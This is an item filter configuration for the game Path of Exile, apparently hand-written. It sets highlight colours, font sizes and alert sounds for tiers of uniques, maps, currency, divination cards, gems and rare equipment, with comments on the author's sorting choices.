#--------------------------------------------------------------------------------------------------------------- # #--------------------------------------------------------------------------------------------------------------- # Section: ALPHA-a # Talisman league! #--------------------------------------------------------------------------------------------------------------- # !!!FILTER CODE START!!! Show BaseType "Talisman" SetBorderColor 109 200 130 255 SetBackgroundColor 0 0 0 255 SetFontSize 42 PlayAlertSound 6 300 Rarity Unique Show BaseType "Talisman" SetBorderColor 109 200 130 255 SetBackgroundColor 0 0 0 255 SetFontSize 40 PlayAlertSound 1 300 Rarity Rare Show BaseType "Talisman" SetBorderColor 109 200 130 255 SetBackgroundColor 0 0 0 255 SetFontSize 38 Rarity Magic Show BaseType "Talisman" SetBorderColor 109 200 130 255 SetBackgroundColor 0 0 0 255 SetFontSize 36 Rarity Normal #--------------------------------------------------------------------------------------------------------------- # Section: 0000 # UTILITY AND JUST-IN-CASE #--------------------------------------------------------------------------------------------------------------- Show Class Microtransactions #------------------------------------------------------------------------ # Section: 0100 # TOP TIER RARITY #------------------------------------------------------------------------ Show Class "Fishing Rod" SetTextColor 255 0 0 255 SetBorderColor 255 0 0 255 SetBackgroundColor 255 255 255 255 SetFontSize 45 PlayAlertSound 6 300 #Exception for tabula Show SocketGroup WWWWWW BaseType "Simple Robe" Rarity Unique PlayAlertSound 6 300 SetBackgroundColor 175 96 37 255 SetBorderColor 255 150 000 255 SetTextColor 0 0 0 255 SetFontSize 43 Show LinkedSockets 6 SetTextColor 255 0 0 SetBorderColor 255 0 0 SetBackgroundColor 255 255 255 255 SetFontSize 45 PlayAlertSound 6 300 Show BaseType "Mirror of Kalandra" SetTextColor 255 0 0 255 SetBorderColor 255 0 0 255 SetBackgroundColor 255 255 255 255 SetFontSize 45 PlayAlertSound 6 300 #------------------------------------------------------------------------ # Section: 0200 # UNIQUES AND MAPS #------------------------------------------------------------------------ #---------------------------------------------------- # 0201 # UNIQUE TIER LIST #---------------------------------------------------- Show # T1 - These uniques are have a consistent price of 1+ ex BaseType "Varnished Coat" "Granite Flask" "Gold Ring" "Penetrating" "Deerskin Gloves" "Sinner Tricorne" "Ursine Pelt" "Champion Kite Shield" "Slaughter Knife" "Large Hybrid Flask" "Sapphire Flask" "Desert Brigandine" "Occultist" "Glorious" "Titanium" "Hubris" "Judgement Staff" "Siege Axe" "Spine Bow" "Prophecy Wand" "Karui Sceptre" "Sacrificial Garb" "Sorcerer Boots" "Paua Ring" "Fiend Dagger" Rarity Unique PlayAlertSound 6 300 SetBackgroundColor 255 255 255 255 SetBorderColor 175 96 37 255 SetFontSize 45 Show # T2 - These uniques usually are worth 1+ ex at the start of the league and drop to ~10c over 1-2 month. BaseType "Golden Plate" "Lathi" "Nubuck Boots" "Serpentine Staff" "Vile Staff" "Terror Maul" "Imperial Skean" "Full Wyrmscale" "Gavel" "Archon Kite Shield" "Opal Wand" "Reinforced Greaves" "Vaal Gauntlets" "Imperial Bow" "Conjurer Boots" "Steelscale Gauntlets" "Amethyst Ring" "Diamond Ring" "Crusader Plate" "Ezomyte Burgonet" "Nightmare Bascinet" "Sharkskin Boots" "Two-Stone" Rarity Unique PlayAlertSound 6 300 SetBackgroundColor 175 96 37 255 SetBorderColor 255 150 000 255 SetTextColor 0 0 0 255 SetFontSize 43 Show Rarity Unique PlayAlertSound 6 300 SetBorderColor 175 96 37 SetFontSize 39 #---------------------------------------------------- # 0202 # MAP TIER LIST #---------------------------------------------------- Show # Maps:Unique Class Maps Rarity Unique SetFontSize 40 PlayAlertSound 6 300 Show # Maps:T1 Class Maps BaseType "Crypt" "Desert" "Dunes" "Dungeon" "Grotto" "Pit Map" "Tropical Island" SetFontSize 34 PlayAlertSound 4 300 Show # Maps:T2 Class Maps BaseType "Arcade" "Cemetery" "Channel" "Mountain Ledge" "Sewer" "Thicket" "Wharf" SetFontSize 35 PlayAlertSound 4 300 Show # Maps:T3 Class Maps BaseType "Ghetto" "Mud Geyser" "Museum" "Quarry" "Reef" "Spider Lair" "Vaal Pyramid" SetFontSize 36 PlayAlertSound 4 300 Show # Maps:T4 Class Maps BaseType "Arena" "Overgrown Shrine" "Promenade" "Shore" "Spider Forest" "Tunnel" "Phantasmagoria" SetFontSize 37 PlayAlertSound 4 300 Show # Maps:T5 Class Maps BaseType "Bog Map" "Coves" "Graveyard" "Pier" "Underground Sea" "Villa Map" SetFontSize 38 PlayAlertSound 4 300 Show # Maps:T6 Class Maps BaseType "Arachnid" "Catacomb" "Colonnade" "Dry Woods" "Strand" "Temple" SetFontSize 39 PlayAlertSound 4 300 Show # Maps:T7 Class Maps BaseType "Jungle Valley" "Terrace" "Mine" "Torture Chamber" "Waste Pool" SetFontSize 40 PlayAlertSound 4 300 Show # Maps:T8 Class Maps BaseType "Canyon" "Cells" "Dark Forest" "Dry Peninsula" "Orchard" SetFontSize 41 PlayAlertSound 4 300 Show # Maps:T9 Class Maps BaseType "Arid Lake" "Gorge" "Residence" "Underground River" "Malformation" SetFontSize 41 PlayAlertSound 4 300 Show # Maps:T10 Class Maps BaseType "Bazaar" "Necropolis" "Plateau" "Volcano" SetFontSize 42 PlayAlertSound 4 300 Show # Maps:T11 Class Maps BaseType "Academy" "Crematorium" "Precinct" "Springs" SetFontSize 42 PlayAlertSound 4 300 Show # Maps:T12 Class Maps BaseType "Arsenal" "Overgrown Ruin" "Shipyard" "Village Ruin" SetFontSize 43 PlayAlertSound 4 300 Show # Maps:T13 Class Maps BaseType "Courtyard" "Excavation" "Wasteland" "Waterways" SetFontSize 44 PlayAlertSound 4 300 Show # Maps:T14 Class Maps BaseType "Shrine" "Conservatory" "Palace" SetFontSize 45 PlayAlertSound 4 300 Show # Maps:T15 Class Maps BaseType "Abyss" "Colosseum" "Core" SetFontSize 45 PlayAlertSound 4 300 SetTextColor 0 0 0 255 SetBorderColor 0 0 0 255 SetBackgroundColor 255 255 255 255 # This shouldn't be happening, but just in case: Show Class Maps PlayAlertSound 4 300 SetFontSize 44 #---------------------------------------------------- # 0203 # MAP FRAGMENTS #---------------------------------------------------- Show BaseType "Mortal Hope" Class "Map Fragments" PlayAlertSound 6 300 SetFontSize 45 SetTextColor 0 0 0 255 SetBorderColor 0 0 0 255 SetBackgroundColor 255 255 255 255 Show BaseType "Sacrifice at Midnight" Class "Map Fragments" PlayAlertSound 4 300 SetFontSize 40 SetBorderColor 255 255 255 255 SetTextColor 255 255 255 255 Show Class "Map Fragments" PlayAlertSound 4 300 SetFontSize 38 #------------------------------------------------------------------------ # Section: 0300 # CURRENCY #------------------------------------------------------------------------ #---------------------------------------------------- # 0301 # TOP TIER: DIVINE, EXALTED (alos eternal, but meh) #---------------------------------------------------- Show BaseType "Eternal Orb" "Divine Orb" "Exalted Orb" "Albino Rhoa Feather" SetTextColor 255 0 0 255 SetBorderColor 255 0 0 255 SetBackgroundColor 255 255 255 255 PlayAlertSound 6 300 SetFontSize 45 #---------------------------------------------------- # 0302 # HIGH TIER: FROM JEWELLER'S TO REGAL #---------------------------------------------------- Show BaseType "Regal Orb" "Orb of Regret" "Chaos Orb" "Blessed Orb" "Gemcutter's Prism" "Orb of Fusing" "Orb of Scouring" "Orb of Alchemy" "Glassblower's Bauble" "Vaal Orb" "Cartographer's Chisel" SetBackgroundColor 213 159 15 SetTextColor 0 0 0 SetBorderColor 0 0 0 PlayAlertSound 1 300 SetFontSize 39 # 200 158 130 this is the old background color, if you like it more use it instead #---------------------------------------------------- # 0303 # MEDIUM-LOW ORBS #---------------------------------------------------- Show BaseType "Orb of Chance" "Orb of Alteration" "Chromatic Orb" "Jeweller's Orb" SetTextColor 190 178 135 255 SetBorderColor 190 178 135 135 SetFontSize 37 #---------------------------------------------------- # 0304 # BOTTOM TIER: LOW ORB VARIATIONS #---------------------------------------------------- Show BaseType "Portal Scroll" "Scroll of Wisdom" SetTextColor 170 158 130 220 SetBorderColor 0 0 0 255 Show BaseType "Scroll Fragment" SetTextColor 170 158 130 165 SetFontSize 29 # 170 158 130 default currency color #---------------------------------------------------- # 0305 # DIVINATION CARD TIER LIST #---------------------------------------------------- # Old puple color: "SetTextColor 150 50 190" #TIER 1: ~0.65EX+ Show Class "Divination" BaseType "Avenger" "House of Mirrors" "Wealth and Power" "The Dragon's Heart" "The Brittle Emperor" "Time-Lost Relic" "The Wind" "Celestial Justicar" "Dark Mage" "Doctor" "Fiend" "The King's Heart" "The Queen" "The Artist" "The Last One Standing" "The Artist" "The Aesthete" "Bowyer's Dream" "The Fletcher" "Hunter's Reward" "The Last One Standing" "The Thaumaturgist" "The Vast" "The Warlord" "The Offering" "The Ethereal" "The Dapper Prodigy" SetFontSize 45 SetBorderColor 255 0 175 SetBackgroundColor 255 255 255 255 SetTextColor 255 0 175 PlayAlertSound 6 300 #TIER 2: ~10C+ Show Class "Divination" BaseType "The Spoiled Prince" "Abandoned Wealth" "Chains that Bind" "The Drunken Aristocrat" "The Feast" "The Gladiator" "The Hunger" "The Incantation" "The Pact" "The Road to Power" "The Watcher" "The Betrayal" "The Pack Leader" "The Enlightened" "Last Hope" "Merciless Armament" "Pride Before the Fall" "The Surveyor" "The Demoness" "Glimmer" "Rats" "The Dragon" "Tranquillity" SetFontSize 42 SetBorderColor 0 0 0 SetBackgroundColor 235 15 200 SetTextColor 0 0 0 PlayAlertSound 1 300 #TIER 3: ~2C+ Show Class "Divination" BaseType "The Fox" "The Gentleman" "The Mercenary" "The Trial" "Death" "The Conduit" "Gift of the Gemling Queen" "Grave Knowledge" "The Siren" "The One With All" "The Flora's Gift" "Encroaching Darkness" "Doedre's Madness" "Humility" "Vinia's Token" "The Cataclysm" "The Union" "Three Faces in the Dark" "The Sun" "The Summoner" "The Scarred Meadow" "Lucky Connections" "Jack in the Box" "The Inventor" "Hope" "The Hoarder" "Gemcutter's Promise" "The Explorer" "Coveted Possession" "Chaotic Disposition" "The Battle Born" "Anarchy's Price" "Assassin's Favour" "Audacity" "Blind Venture" "The Cartographer" "The Doppelganger" "The Fox" "Hubris" "Scholar of the Seas" "The Tower" "Volatile Power" "The Traitor" "Lost Worlds" "The Body" "Birth of the Three" "The Sigil" SetFontSize 39 SetBackgroundColor 220 35 225 SetBorderColor 0 0 0 SetTextColor 0 0 0 PlayAlertSound 1 300 #TIER 5: TRASH-tier. Show Class "Divination" BaseType "Carrion Crow" "Other Cheek" SetBackgroundColor 190 65 255 SetTextColor 0 0 0 SetBorderColor 0 0 0 SetFontSize 32 #TIER 4: Rest. Less than 2c Show Class "Divination" SetBackgroundColor 200 50 250 SetBorderColor 0 0 0 SetTextColor 0 0 0 SetFontSize 36 PlayAlertSound 1 300 #---------------------------------------------------- # 0306 # REST #---------------------------------------------------- Show Class Currency SetBorderColor 0 0 0 255 Show Class Stackable Currency SetBorderColor 0 0 0 255 #------------------------------------------------------------------------ # Section: 0400 # SOCKET/LINK BASED stuff #------------------------------------------------------------------------ # 5-links (6 links are handled at the start) Show LinkedSockets 5 SetBorderColor 0 255 255 PlayAlertSound 1 300 SetFontSize 39 # 6-Sockets Show Sockets 6 Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 75 75 75 SetBorderColor 150 150 150 SetFontSize 39 PlayAlertSound 1 300 Show Sockets 6 SetBackgroundColor 75 75 75 SetBorderColor 150 150 150 SetFontSize 39 PlayAlertSound 1 300 # Corrupted items with white sockets for offhand gem leveling. Show Class Wands Daggers One Hand Shields Thrusting Sceptre Claws Sockets >= 3 SocketGroup W #------------------------------------------------------------------------ # Section: 0500 # SKILL GEMS #------------------------------------------------------------------------ Show Class Gem BaseType "Empower" "Enlighten" Quality >= 15 SetBorderColor 30 150 180 255 SetTextColor 30 150 180 255 SetBackgroundColor 255 255 255 255 PlayAlertSound 6 300 SetFontSize 45 Show Class Gem Quality = 20 SetBorderColor 30 150 180 255 SetTextColor 30 150 180 255 SetBackgroundColor 255 255 255 255 PlayAlertSound 6 300 SetFontSize 45 Show # Drop only good gems Class Gem BaseType "Portal" "Empower" "Enlighten" "Enhance" "Vaal Haste" SetBorderColor 30 150 180 PlayAlertSound 6 300 SetFontSize 41 Show # Drop only meh gems Class Gem BaseType "Detonate Mines" "Added Chaos Damage" "Vaal" SetBorderColor 30 150 180 150 SetFontSize 38 Show Class "Gems" Quality >= 15 SetBorderColor 30 150 180 255 SetFontSize 41 PlayAlertSound 1 300 Show Class "Gems" Quality > 0 SetBorderColor 30 150 180 155 SetFontSize 38 Show Class Gems #------------------------------------------------------------------------ # Section: 0600 # RARE ITEM HIGHLIGHTING #------------------------------------------------------------------------ #------------------------------------------------------------------------ # 060a # RARES SUITABLE FOR ENDGAME CRAFTING #------------------------------------------------------------------------ Show Rarity Rare ItemLevel >= 84 BaseType "Void Sceptre" "Opal Sceptre" "Profane Wand" "Prophecy Wand" "Opal Wand" "Sambar Sceptre" "Imbued Wand" "Vaal Regalia" "Sorcerer Boots" "Sorcerer Gloves" "Hubris Circlet" SetTextColor 255 255 255 255 SetBorderColor 255 255 0 255 SetBackgroundColor 30 90 45 230 SetFontSize 38 Show # Endgame: Show normal ilvl 83+ rings/amulets Rarity Rare Class Rings Amulet Belts BaseType "Onyx" "Ruby" "Sapphire" "Topaz" "Two-Stone" "Diamond" "Prismatic" "Unset" "Gold" "Citrine" "Turquoise" "Agate" "Coral Ring" "Moonstone" "Leather" "Heavy" "Amber" "Jade" "Lapis" ItemLevel >= 84 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetBorderColor 255 255 0 255 SetFontSize 40 Show Rarity Rare BaseType "Lion Sword" "Vaal Greatsword" "Vaal Axe" "Coronal Maul" "Exquisite Blade" "Fleshripper" "Harbinger Bow" "Gemini Claw" "Ambusher" "Platinum Kris" ItemLevel >= 83 SetBorderColor 255 255 0 255 SetFontSize 38 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 Show Rarity Rare BaseType "Demon Dagger" "Imperial Skean" "Vaal Hatchet" "Runic Hatchet" "Behemoth Mace" "Eternal Sword" "Tiger Hook" "Eclipse Staff" "Maelstr" "Judgement Staff" "Jewelled Foil" "Dragoon Sword" ItemLevel >= 83 SetBorderColor 255 255 0 255 SetFontSize 38 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 Show Rarity Rare BaseType "Sai" ItemLevel >= 83 SetBorderColor 255 255 0 255 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 Class Daggers SetFontSize 38 #---------------------------------------------------- # 060b # RARE RINGS, AMULETS, JEWELS, BELTS #---------------------------------------------------- #Amulets, rings and jewels (likely) don't care much about the droplevel #Also they're small, making them the ideal loottype. Always highlight them in a special (lime-green) hue Show ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetBorderColor 25 180 25 SetFontSize 38 Class Rings Amulets Belts Jewel Rarity Rare Show Class Rings Amulets Belts Jewel Rarity Rare SetBackgroundColor 30 90 45 230 SetFontSize 38 SetBorderColor 25 180 25 #---------------------------------------------------- # 060c # DROP LEVEL 69+ ITEMS ARE ALWAYS PRIORITIZED RARES #---------------------------------------------------- Show Rarity Rare DropLevel >= 69 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Rarity Rare DropLevel >= 69 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #---------------------------------------------------- # 0601 # RARE DAGGERS #---------------------------------------------------- #GOOD DAGGERS #---------------------------------------------------- Show Class Daggers Rarity Rare DropLevel >= 60 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class Daggers Rarity Rare DropLevel >= 60 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #In addition highlight rare's with high base attack speed / crit - for CoC and caster dagger variations #---------------------------------------------------- Show Class Daggers BaseType "Skean" Rarity Rare ItemLevel >= 75 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 SetTextColor 255 190 0 Show Class Daggers BaseType "Skean" Rarity Rare ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #BAD DAGGERS #---------------------------------------------------- #Daggers small enough to be decent loot for vendoring. Never highlight/hide bad daggers #---------------------------------------------------- # 0602 # RARE CLAWS #---------------------------------------------------- #GOOD CLAWS #---------------------------------------------------- #At least earlier most claws were vendor trash #The RARELY worthwhile rares are usually high level claws or some specific base types (such as great white claw) #Still as 4-slot items they are borderline useful and will not be unhighlighted unless they have depressingly low droplevel (shouldn't be happening too often) Show Class Claws Rarity Rare DropLevel >= 65 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class Claws Rarity Rare DropLevel >= 65 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #BAD CLAWS #---------------------------------------------------- Show Class Claws Rarity Rare DropLevel < 50 ItemLevel >= 75 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 SetTextColor 255 190 0 Show Class Claws Rarity Rare DropLevel < 50 ItemLevel >= 65 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #---------------------------------------------------- # 0603 # RARE WANDS #---------------------------------------------------- #As spellcaster weapons, wands are good pick-ups if they're rare #High level wands get highlighted, because of their multi-purpose potential #GOOD WANDS #---------------------------------------------------- Show Class Wands Rarity Rare DropLevel >= 59 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class Wands Rarity Rare DropLevel >= 59 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #BAD WANDS #---------------------------------------------------- #Wands small enough to be decent loot for vendoring. Never bad-highlight/hide wands #---------------------------------------------------- # 0604 # RARE SWORDS #---------------------------------------------------- #Worthwhile swords are physical or elemental weapons #First one require a decent droplevel, second one the highest attack speed base types #We can bad-highlight the rest, because they are way too clunky #Same applies to the "thrusting swords" type, that is also filtered here, though they are easier to carry due to their consistently small size #GOOD SWORDS #---------------------------------------------------- Show Class "One Hand Swords" Rarity Rare DropLevel >= 60 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "One Hand Swords" Rarity Rare DropLevel >= 60 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #HIGH ATTACK SPEED LOWER LEVEL BASES #These are some of the best ele ST weapons bases. Show Class "One Hand" BaseType "Jewelled Foil" "Spiraled Foil" Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "One Hand" BaseType "Jewelled Foil" "Spiraled Foil" Rarity Rare ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #BAD SWORDS #One Hand swords with with such low base drop level are rarely anything interesting. #High attack speed bases for viable ele weapons are filtered out above. Show Class "One Hand Swords" Rarity Rare DropLevel <= 54 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 Show Class "One Hand Swords" Rarity Rare DropLevel <= 54 ItemLevel >= 65 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #---------------------------------------------------- # 0605 # RARE AXES&MACES (1H) #---------------------------------------------------- #1H-Axes are only used as physical weapons and only if they roll really well. That's why a high droplevel is required for an axe to be recommended #GOOD 1H AXES&MACES Show Class "One Hand Axes" BaseType "Siege Axe" "Vaal Hatchet" Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "One Hand Axes" BaseType "Siege Axe" "Vaal Hatchet" Rarity Rare ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "One Hand Maces" Rarity Rare DropLevel >= 66 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "One Hand Maces" Rarity Rare DropLevel >= 66 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #---------------------------------------------------- #BAD 1H MACES/AXES #Anything with a <50lvl base won't be a priority pickup while maping. Show Class "One Hand Maces" "One Hand Axes" Rarity Rare DropLevel <= 54 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 Show Class "One Hand Maces" "One Hand Axes" Rarity Rare DropLevel <= 54 ItemLevel >= 65 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #---------------------------------------------------- # 0606 # RARE SCEPTRES #---------------------------------------------------- #Any sceptre can be good, however some sceptres are better pickups, because of their base or their implicit #GOOD SCEPTRES Show Class "Sceptres" Rarity Rare DropLevel >= 64 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Sceptres" Rarity Rare DropLevel >= 64 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #Lets's also highlight the high base spell damage sceptres Show BaseType "Opal Sceptre" "Crystal Sceptre" Class "Sceptres" Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show BaseType "Opal Sceptre" "Crystal Sceptre" Class "Sceptres" Rarity Rare ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #BAD SCEPTRES #Noone here :O #---------------------------------------------------- # 0607 # RARE STAVES #---------------------------------------------------- #Now staves are a bit tricky. #They can roll high spellcaster bonuses or +3 to gems, making any staff potentially useful. #They can also roll high base damage stats #Still good staves are rare and all of them are clunky, I'll only highlight the very good base types Show Class "Staves" Rarity Rare DropLevel >= 68 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Staves" Rarity Rare DropLevel >= 68 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Staves" BaseType "Lathi" Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show BaseType "Lathi" Class "Staves" Rarity Rare ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #BAD STAVES #If you're playing a caster or think it's a good idea feel free to remove the following parts #However, chances are you won't find anything amazing around here. Show Class "Staves" Rarity Rare DropLevel <= 56 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 Show Class "Staves" Rarity Rare DropLevel <= 56 ItemLevel >= 65 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #---------------------------------------------------- # 0608 # RARE TWO HAND SWORDS + MACES + AXES #---------------------------------------------------- #These are usually pretty bad #High drop level bases have a small chance to be decent #Everything else is usually too clunky Show Class "Two Hand" Rarity Rare DropLevel >= 65 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Two Hand" Rarity Rare DropLevel >= 65 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #BAD TWO HANDED WEAPONS #Chances are you won't find anything amazing around here. Show Class "Two Hand" Rarity Rare DropLevel <= 56 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 Show Class "Two Hand" Rarity Rare DropLevel <= 56 ItemLevel >= 65 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #---------------------------------------------------- # 0609 # RARE BOWS #---------------------------------------------------- #With the huge demand for good bows, it's worth checking out quite some of those Show Class "Bows" Rarity Rare DropLevel >= 62 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Bows" Rarity Rare DropLevel >= 62 ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #BAD BOWS! #---------------------------------------------- #The low level ones are usually just clunky Show Class "Bows" Rarity Rare DropLevel <= 50 ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 Show Class "Bows" Rarity Rare DropLevel <= 50 ItemLevel >= 65 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #---------------------------------------------------- # 0610 # RARE QUIVERS #---------------------------------------------------- #All quivers are decent pickups. However, there are some quiver-types that are just much more better. Show BaseType "Spike-Point Arrow Quiver" "Broadhead Arrow Quiver" "Penetrating Arrow Quiver" "Two-Point Arrow Quiver" Class "Quivers" Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show BaseType "Spike-Point Arrow Quiver" "Broadhead Arrow Quiver" "Penetrating Arrow Quiver" "Two-Point Arrow Quiver" Class "Quivers" Rarity Rare ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #---------------------------------------------------- # 0611 # RARE GLOVES, HELMETS, BOOTS #---------------------------------------------------- #Most bases are getting highlighted (around 75% of all drops) #VERY low bases are getting negative highlighting (likely <1% of all drops) Show Class "Gloves" "Boots" "Helmets" Rarity Rare ItemLevel >= 75 DropLevel >= 44 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Gloves" "Boots" "Helmets" Rarity Rare ItemLevel >= 65 DropLevel >= 44 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Gloves" "Boots" "Helmets" Rarity Rare ItemLevel >= 75 DropLevel <= 15 SetTextColor 255 190 0 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 Show Class "Gloves" "Boots" "Helmets" Rarity Rare ItemLevel >= 65 DropLevel <= 15 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #---------------------------------------------------- # 0612 # RARE SHIELDS #---------------------------------------------------- #Shields are by far the hardest category to sort #Here's my philosophy: #1) Highlight high droplevel/itemlevel bases, no matter what type of shield they are, to perform some pre-sorting #---------------------------------------------------- Show Class "Shields" Rarity Rare ItemLevel >= 75 DropLevel >= 66 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show Class "Shields" Rarity Rare ItemLevel >= 65 DropLevel >= 66 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #2) Energy shields however are quite decent pickups, even if the droplevel is low, let's add this! #---------------------------------------------------- Show BaseType "Spirit Shield" Class "Shields" Rarity Rare ItemLevel >= 75 DropLevel >= 55 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show BaseType "Spirit Shield" Class "Shields" Rarity Rare ItemLevel >= 65 DropLevel >= 55 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #3) Still display the low level spirit shields as "neutral" they are small and nice #----------------------------------------------------- Show BaseType "Spirit Shield" Class "Shields" Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetFontSize 31 Show BaseType "Spirit Shield" Class "Shields" Rarity Rare ItemLevel >= 65 SetFontSize 31 #4) The Kite Shields can be quite decent too, let's highlight the good ones! #----------------------------------------------------- Show BaseType "Branded Kite Shield" "Angelic Kite Shield" Class "Shields" Rarity Rare ItemLevel >= 75 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show BaseType "Branded Kite Shield" "Angelic Kite Shield" Class "Shields" Rarity Rare ItemLevel >= 65 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #5) Bucklers and Spiked shields are OK-ish pickups due to their small size #----------------------------------------------------- Show BaseType "Buckler" "Spiked Shield" Class "Shields" Rarity Rare ItemLevel >= 75 DropLevel >= 60 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 Show BaseType "Buckler" "Spiked Shield" Class "Shields" Rarity Rare ItemLevel >= 65 DropLevel >= 60 SetBackgroundColor 30 90 45 230 SetFontSize 35 SetBorderColor 0 0 0 #6) Now lets mark some of the remaining low level shields as bad #----------------------------------------------------- Show Class "Shields" Rarity Rare ItemLevel >= 75 DropLevel <= 50 SetTextColor 255 190 0 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 Show Class "Shields" Rarity Rare ItemLevel >= 65 DropLevel <= 50 SetBackgroundColor 120 20 20 220 SetBorderColor 0 0 0 220 SetFontSize 28 #---------------------------------------------------- # 0613 # RARE BODY ARMOR #---------------------------------------------------- #Highlight high level tiers #Mark really low level ones. Easy enough. Show Class "Body Armour" Rarity Rare ItemLevel >= 75 DropLevel >= 60 SetTextColor 255 190 0 SetBackgroundColor 30 90 45 230 SetFontSize 35 